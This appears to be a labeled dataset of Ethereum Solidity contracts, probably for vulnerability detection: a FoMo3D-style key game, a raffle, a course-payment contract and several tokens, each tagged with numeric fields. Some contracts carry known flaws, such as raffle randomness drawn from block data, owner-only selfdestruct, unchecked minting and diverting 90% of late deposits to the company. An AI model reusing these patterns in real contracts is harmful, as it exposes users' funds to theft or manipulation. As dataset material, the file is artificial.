_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Star3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Star3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _timeLeft = getTimeLeft();
uint256 _keys = (round_[_rID].eth).keysRec(_eth, _timeLeft);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
_eventData_.compressedData = _eventData_.compressedData;
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
if(_timeLeft <= 300)
{
uint256 devValue = (_eth.mul(90) / 100);
_eth = _eth.sub(devValue);
CompanyShare.deposit.value(devValue)();
}
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
uint256 _timeLeft = getTimeLeft();
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth, _timeLeft) );
else
return ( (_eth).keys(0) );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _timePrice = getBuyPriceTimes();
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return (( (round_[_rID].keys.add(_keys)).ethRec(_keys) ).mul(_timePrice));
else
return ( (_keys).eth() );
}
function makePlayerID(address _addr)
private
returns (uint256)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
return (pID_);
} else {
return (pIDxAddr_[_addr]);
}
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function determinePID(Star3Ddatasets.EventReturns memory _eventData_)
private
returns (Star3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = makePlayerID(msg.sender);
bytes32 _name = "";
uint256 _laff = 0;
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, Star3Ddatasets.EventReturns memory _eventData_)
private
returns (Star3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(Star3Ddatasets.EventReturns memory _eventData_)
private
returns (Star3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].endGen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
CompanyShare.deposit.value(_com)();
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, Star3Ddatasets.EventReturns memory _eventData_)
private
returns(Star3Ddatasets.EventReturns)
{
uint256 _aff = _eth / 10;
uint256 _affLeader = (_eth.mul(3)) / 100;
uint256 _affLeaderID = plyr_[_affID].laff;
if (_affLeaderID == 0)
{
_aff = _aff.add(_affLeader);
} else{
if (_affLeaderID != _pID && plyr_[_affLeaderID].name != '')
{
plyr_[_affLeaderID].aff = _affLeader.add(plyr_[_affLeaderID].aff);
}else{
_aff = _aff.add(_affLeader);
}
}
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
} else {
CompanyShare.deposit.value(_aff)();
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Star3Ddatasets.EventReturns memory _eventData_)
private
returns(Star3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].firstGive)) / 100;
uint256 _dev = (_eth.mul(fees_[_team].giveDev)) / 100;
_eth = _eth.sub(((_eth.mul(13)) / 100)).sub(_dev);
uint256 _pot =_eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
CompanyShare.deposit.value(_dev)();
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Star3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit Star3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == admin,
"only team just can activate"
);
require(activated_ == false, "Star3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_ + rndExtra_;
}
function recycleAfterEnd() public{
require(
msg.sender == admin,
"only team can call"
);
require(
round_[rID_].pot < 1 ether,
"people still playing"
);
selfdestruct(address(CompanyShare));
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library Star3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 firstPot;
uint256 firstGive;
uint256 giveDev;
uint256 giveAffLeader;
}
struct PotSplit {
uint256 endNext;
uint256 endGen;
}
}
library Star3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth, uint256 _timeLeft)
internal
pure
returns (uint256)
{
if(_timeLeft <= 300)
{
return keys(_newEth, _timeLeft);
}else{
return(keys((_curEth).add(_newEth), _timeLeft).sub(keys(_curEth, _timeLeft)));
}
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth, uint256 _timeLeft)
internal
pure
returns(uint256)
{
uint256 _timePrice = getBuyPriceTimesByTime(_timeLeft);
uint256 _keys = ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000) / (_timePrice.mul(10));
if(_keys >= 990000000000000000 && _keys < 1000000000000000000)
{
return 1000000000000000000;
}
return _keys;
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return (((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq())).mul(10);
}
function getBuyPriceTimesByTime(uint256 _timeLeft)
public
pure
returns(uint256)
{
if(_timeLeft <= 300)
{
return 10;
}else{
return 1;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,100 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner public{
require(paused == false);
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public{
paused = false;
Unpause();
}
}
contract Mortal is Ownable {
function kill() onlyOwner public {
selfdestruct(owner);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract BaseToken is Ownable, Pausable, Mortal{
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
mapping (address => bool) public frozenAccount;
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
string public version;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event FrozenFunds(address target, bool frozen);
function totalSupply() public constant returns (uint _totalSupply) {
return totalSupply;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowances[_owner][_spender];
}
function freezeAccount(address target, bool freeze) onlyOwner public{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function isFrozen(address _address) public view returns (bool frozen) {
return frozenAccount[_address];
}
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _owner, address _to, uint256 _value) whenNotPaused public returns (bool success) {
require(_to != address(0));
require(_value <= balances[_owner]);
require(_value <= allowances[_owner][msg.sender]);
require(!frozenAccount[_owner]);
balances[_owner] = balances[_owner].sub(_value);
balances[_to] = balances[_to].add(_value);
allowances[_owner][msg.sender] = allowances[_owner][msg.sender].sub(_value);
Transfer(_owner, _to, _value);
return true;
}
}
contract UpgradeableToken is BaseToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeAgentEnabledToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
revert();
}
if (value == 0) revert();
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
revert();
}
if (agent == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
if (getUpgradeState() == UpgradeState.Upgrading) revert();
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) revert();
if (upgradeAgent.originalSupply() != totalSupply) revert();
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract YBKToken is UpgradeableToken {
string public name;
string public symbol;
uint public decimals;
string public version;
function YBKToken(string _name, string _symbol, uint _initialSupply, uint _decimals, string _version) public {
owner = msg.sender;
upgradeMaster = owner;
name = _name;
decimals = _decimals;
symbol = _symbol;
version = _version;
totalSupply = _initialSupply;
balances[msg.sender] = totalSupply;
}
} | 1 | 3,649 |
pragma solidity ^0.4.18;
contract ZastrinPay {
address public owner;
struct paymentInfo {
uint userId;
uint amount;
uint purchasedAt;
bool refunded;
bool cashedOut;
}
mapping(uint => bool) coursesOffered;
mapping(address => mapping(uint => paymentInfo)) customers;
uint fallbackAmount;
event NewPayment(uint indexed _courseId, uint indexed _userId, address indexed _customer, uint _amount);
event RefundPayment(uint indexed _courseId, uint indexed _userId, address indexed _customer);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function ZastrinPay() public {
owner = msg.sender;
}
function addCourse(uint _courseId) public onlyOwner {
coursesOffered[_courseId] = true;
}
function buyCourse(uint _courseId, uint _userId) public payable {
require(coursesOffered[_courseId]);
customers[msg.sender][_courseId].amount += msg.value;
customers[msg.sender][_courseId].purchasedAt = now;
customers[msg.sender][_courseId].userId = _userId;
NewPayment(_courseId, _userId, msg.sender, msg.value);
}
function getRefund(uint _courseId) public {
require(customers[msg.sender][_courseId].userId > 0);
require(customers[msg.sender][_courseId].refunded == false);
require(customers[msg.sender][_courseId].purchasedAt + (3 hours) > now);
customers[msg.sender][_courseId].refunded = true;
msg.sender.transfer(customers[msg.sender][_courseId].amount);
RefundPayment(_courseId, customers[msg.sender][_courseId].userId, msg.sender);
}
function cashOut(address _customer, uint _courseId) public onlyOwner {
require(customers[_customer][_courseId].refunded == false);
require(customers[_customer][_courseId].cashedOut == false);
require(customers[_customer][_courseId].purchasedAt + (3 hours) < now);
customers[_customer][_courseId].cashedOut = true;
owner.transfer(customers[_customer][_courseId].amount);
}
function cashOutFallbackAmount() public onlyOwner {
owner.transfer(fallbackAmount);
}
function() public payable {
fallbackAmount += msg.value;
}
} | 0 | 1,013 |
pragma solidity ^0.4.16;
contract Ethraffle_v2b {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
uint public constant prize = 2.5 ether;
uint public constant fee = 0.03 ether;
uint public constant totalTickets = 50;
uint public constant pricePerTicket = (prize + fee) / totalTickets;
address feeAddress;
bool public paused = false;
uint public raffleId = 1;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
function Ethraffle_v2b() public {
feeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket == totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
raffleId++;
nextTicket = 0;
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 0 | 1,928 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
uint256 public amount = 10000000000000000000;
address public saleAgent;
string public name = "How many symbols can i put in this message?12345678912345671234567891234567";
string public symbol = "How many symbols can i put in this message?12345678912345671234567891234567";
uint32 public constant decimals = 18;
bool public canTransfer = false;
modifier notLocked() {
require(canTransfer);
_;
}
function setCanTransfer(bool newCanTransfer) public {
require(msg.sender == saleAgent || msg.sender == owner);
canTransfer = newCanTransfer;
}
function setSymbol(string newSymbol) public {
require(msg.sender == saleAgent || msg.sender == owner);
symbol = newSymbol;
}
function setName(string newName) public {
require(msg.sender == saleAgent || msg.sender == owner);
name = newName;
}
function setAmount(uint newAmount) public {
require(msg.sender == saleAgent || msg.sender == owner);
amount = newAmount;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == saleAgent || msg.sender == owner);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function mintSeq(address[] receivers) public returns (bool) {
require(msg.sender == saleAgent || msg.sender == owner);
for(uint i = 0; i < receivers.length; i++) {
totalSupply = totalSupply.add(amount);
balances[receivers[i]] = balances[receivers[i]].add(amount);
Transfer(address(this), receivers[i], amount);
}
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
} | 1 | 3,542 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint previousBalances = balances[_from] + balances[_to];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
